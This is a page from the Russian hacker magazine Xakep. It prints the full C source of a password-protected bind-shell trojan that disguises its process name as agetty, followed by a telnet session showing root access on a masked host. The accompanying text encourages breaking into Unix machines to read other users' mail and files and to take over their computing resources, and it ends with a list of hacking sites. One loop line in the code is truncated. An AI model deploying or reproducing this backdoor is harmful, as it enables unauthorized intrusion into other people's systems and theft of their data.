
Рубрика: Юниксоид
Xakep Online -> Журнал, номер #008, стр. 008-034-6
#define YES 1
#define NO 0
int main(int argc, char *argv[]);
#ifdef PASSAUTH
int login(int EffDee);
#endif
int main(int argc, char *argv[])
{
int sockfd, newfd, size;
struct sockaddr_in local;
struct sockaddr_in remote;
strcpy(argv[0], "/sbin/agetty 38400 tty7 linux"); /* имя процесса */
signal(SIGCHLD, SIG_IGN);
bzero(&local, sizeof(local));
local.sin_family = AF_INET;
local.sin_port = htons(PORT);
local.sin_addr.s_addr = INADDR_ANY;
bzero(&(local.sin_zero), 8);
if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("socket");
exit(1);
}
if(bind(sockfd, (struct sockaddr *)&local, sizeof(struct sockaddr)) == -1)
{
perror("bind");
exit(1);
}
if(listen(sockfd, 5) == -1)
{
perror("listen");
exit(1);
}
size = sizeof(struct sockaddr_in);
while(1)
{
if((newfd=accept(sockfd, (struct sockaddr *)&remote, &size)) == -1)
{
perror("accept");
exit(1);
}
if(!fork())
{
send(newfd, MSG, sizeof(MSG), 0); /* посылаем приветствие */
#ifdef PASSAUTH
if(login(newfd) != 1)
{
send(newfd, "You dont have access!\n", 23, 0); /* сообщение, если пароль неправильно введен */
close(newfd);
exit(1);
}
#endif
close(0); close(1); close(2);
dup2(newfd, 0); dup2(newfd, 1); dup2(newfd, 2);
execl(SHELL, SHELL, (char *)0); close(newfd); exit(0);
}
close(newfd);
}
return(0);
}
#ifdef PASSAUTH
int login(int EffDee)
{
char u_passwd[15];
int i;
send(EffDee, "satan:", 6,0); /* строка запроса пароля */
recv(EffDee, u_passwd, sizeof(u_passwd), 0);
for(i=0;i
{
if(u_passwd[i] == '\n' || u_passwd[i] == '\r')
u_passwd[i] = '\0';
}
if(strcmp(PASSWD, u_passwd) == 0)
return(YES);
else
return(NO);
}
#endif
---------- Конец трояна :) ----------
В данном случае программа открывает 5051 порт с паролем satan666.
hax0r# telnet www.****.ru 5051
Connected to www.*****.ru
Escape character is '^]'.
welcome home
satan:satan666
id
uid=0(root) gid=0(root) groups=0(root)
А зачем нам нужен этот юникс? На фига его ломать?
Unix системами можно управлять удаленно, используя практически все ее ресурсы, поэтому, получив полный доступ к юникс машине, ты получаешь не только почту всех ее других пользователей, их файлы, доступ к www страницам, но и имеешь в своем распоряжении сам компьютер и можешь его использовать в своих нуждах. Все быстродействие компа, вся их выделенка могут теперь работать на тебя.
А вот это надо почитать:
www.insecure.org/nmap
www.rootshell.com
www.securityfocus.com
www.technotronic.com
www.hackersclub.com/km
qwerty.nanko.ru
Назад на стр. 008-034-5 Содержание